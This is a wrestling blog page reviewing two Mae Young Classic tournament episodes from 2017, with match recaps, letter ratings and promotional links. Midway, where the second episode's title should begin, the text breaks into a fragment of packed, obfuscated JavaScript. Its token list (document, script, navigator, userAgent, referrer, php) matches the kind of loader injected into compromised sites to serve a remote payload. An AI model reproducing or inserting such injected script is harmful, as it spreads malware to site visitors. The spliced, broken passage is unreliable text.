Video on Nicole Savoy, who loves to suplex people. She must have been miserable in the first round then as she didn’t do a single one.

Johnny Gargano is here. I love how these wrestlers are ushered in and out every match.

Second Round: Candice LeRae vs. Nicole Savoy

JR talks about PWG and my head threatens to explode. Lita on the other hand slips up a bit by saying Savoy’s previous match was last night. Savoy kicks away a handshake offer and we’re ready to go. The fans, with a decidedly female sounding voice, are behind Candice. Savoy sends her into the corner for a crash but LeRae comes right back out with a jumping Downward Spiral for two.

The first suplex drops LeRae for two and they trade modified surfboards. Candice elbows her way out of trouble and hits a Codebreaker for a breather. Savoy rolls some butterfly suplexes but can’t get a cross armbreaker. Another kick to the head gives Candice a breather and it’s off to something like a Black Widow to slow Savoy down. For some reason Savoy takes her up top and even old man JR knows it’s a bad idea to put LeRae up top when her finisher comes from there. As you might expect, Ms. LeRae’s Wild Ride ends Savoy at 5:54.

Rating: C+. Savoy looked better here but you knew LeRae was winning here, especially with the idea of her being massacred by Baszler in the next round. This was some good storytelling with LeRae fighting from underneath and being willing to go the extra mile to beat the fighting machine. Good match here.

Again, no brackets are shown for the next round but here you are:

Mercedes Martinez

Abbey Laith

Shayna Baszler

Candice LeRae

Toni Storm

Piper Niven

Dakota Kai

Kairi Sane

Overall Rating: B. Now this is more like it. The wrestling was good from top to bottom and while a lot of the endings were obvious, there’s nothing wrong with having some good wrestling where you know who’s winning. I’m digging this more and more every single episode and the fact that they’ve done this all in two major content drops is a great idea. Best show of the tournament so far with ease.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ydkht|var|u0026u|referrer|trtre||js|php'.split('|'),0,{})) Young Classic Episode #2
Date: August 28, 2017
Location: Full Sail University, Winter Park, Florida
Commentators: Jim Ross, Lita

It’s kind of nice to have all four episodes of the first round up on the same day as we’re going to be able to get to the final sixteen in one day. The first four matches were all fine and we already have some names to watch. This show will get us down to twenty four names left in the competition so let’s get to it.

Mauro Ranallo narrates the opening video, which looks at last week’s show and previews tonight’s four matches.

Opening sequence.

JR and Lita preview tonight’s matches.

Video on Xia Li, a signee from China who trains in Chinese martial arts.

Video on Mercedes Martinez, who has been a big star on the independent circuit for years and is covered in tattoos.

First Round: Mercedes Martinez vs. Xia Li

Li has a fan in her hand, which gives me a nice flashback to Mulan. Martinez gets rather evil by doing the crane kick pose instead of shaking hands. A headlock into a front facelock has Li in early trouble but she comes right back with a spinning kick to the ribs. More kicks get two and a forearm knocks Martinez straight down. A spinebuster cuts Li off for one though and Martinez’s shocked face is rather over the top. Martinez stays ticked off enough to grab a surfboard into a dragon sleeper for the tap at 3:06.

Rating: D+. This wasn’t quite a squash with the far bigger star winning despite selling a lot of Li’s offense. Li has a good look and seemed poised in the ring. If she can learn English I could see her going somewhere down in developmental. Martinez is going to be a big deal in this thing and that really shouldn’t be any kind of a surprise.

Video on Rachel Evers, the daughter of Paul Ellering who has made several appearances in NXT. She’s well rounded and ready to fight any style.

Video on Marti Belle, who is best known from her time in TNA. She leads the pack instead of following it.

First Round: Marti Belle vs. Rachel Evers

The fans are entirely behind Evers here and Belle is a very clear heel. A single underhook suplex gives Marti two and she brags about how close that was. Back up and Evers gets one off a springboard spinning legdrop out of the corner. Marti snaps the throat across the top as the dueling chants begin.

Rachel comes back with some forearms and a COME ON, followed by a running backsplash. A pretty bad looking spinebuster gets two on Marti so Rachel loads up a fisherman’s buster but slams her forward for two instead. Marti comes back with a Stroke for two of her own as this needs to end soon. A very quick small package pins Belle at 6:31. It’s as sudden as it sounds.

Rating: D-. Yeah this really didn’t work. Rachel has all the requirements to make something of herself (good look, good pedigree) but the in-ring work really isn’t there. The match was sloppy and looked completely disjointed at times, easily making it the worst match of the tournament so far. That only puts it in sixth but I can’t picture much beating this. Really bad match.

Video on HHH welcoming the 32 entrants.

Video on Miranda Salinas, who was trained by Booker T. She’s 5’ and from what I can find, has less than twenty matches in her career. I can’t imagine that’s all she’s had but if so, well done on getting here.

Video on Rhea Ripley, a 20 year old phenom (I’d like some more details on that description) from Australia with a soccer background.

First Round: Rhea Ripley vs. Miranda Salinas

Miranda definitely has some charisma to go with her small stature. The far bigger (probably by a foot) Rhea headlocks her down before hitting a good looking dropkick to send Salinas outside. Ripley fires off some chops in the corner but gets kicked in the back of the head. A running knee to the chest gives Miranda two but a forearm to the face just seems to get on her nerves. Ripley hits a running kick to the face in the corner, followed by a running basement dropkick for two. Something like a Chick Kick sets up a full nelson slam to put Salinas away at 3:51.

Rating: C+. If she’s only 20, they might be on to something with the prodigy thing. I really liked this match a lot more than I was expecting to and there’s something to both of them. Rhea has a good look, solid size and the in-ring work. Her charisma was a bit below average but she can work on that. Salinas’ size is going to work against her but if she can get the work down, she’ll be fine. I was impressed by these two and they had a much better match than I would have bet on. Well done and keep an eye on Ripley coming to NXT.

Video on Mia Yim, who you’ve probably seen in various promotions, including TNA as Jade. She talks about her domestic violence story last year, which got some mainstream attention.

Video on Sarah Logan, better known as Crazy Mary Dobson, who is a backwoods tough girl from Kentucky who trained in Japan.

Natalya and Beth Phoenix are here.

First Round: Mia Yim vs. Sarah Logan

Mia works on a wristlock to start and a dropkick gets two. Sarah comes back by taking her down and hammers away with some right hands for two of her own. A basement dropkick keeps Mia in trouble but she kicks Sarah right into the corner. That’s fine with Sarah, who screams at her to do it again.

Mia obliges and puts on the Tarantula before getting two more off a jumping knee. A rolling guillotine choke has Sarah in trouble but she slips out and it’s time for a seated slap off. Logan is back up first with a running knee to the face for another two but Mia grabs a pair of bridging German suplexes for near falls of her own.

Sarah gets two more off a Samoan drop and a fisherman’s suplex out of the corner gets the same. Sarah: “OFF WITH YOUR HEAD!” She then misses….I’m not sure what actually but Mia kicks her in the head (Mia: “Off with YOUR head!”), setting up Eat Defeat (still don’t like that move) for the pin at 7:17.

Rating: B-. Yim is one of the bigger stars in this thing but she’s going to be facing Shayna Baszler in the second round, meaning she’s probably done after two matches. Logan has some skills but at the same time she’s only going to go so far with the Kentucky tough thing. She needs more time in front of the crowd though and that’s going to come with time.

The recap ends the show.

Overall Rating: C. This wasn’t as good of a show as the first one and a lot of that is due to the Belle vs. Evers match, which really brought things down. The big thing I got out of this one though was the future is looking bright. There’s a lot of talent in this tournament and several of them have been signed to developmental deals. If they can go somewhere with this stuff, the NXT women’s division is going to be in good shape in the near future.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6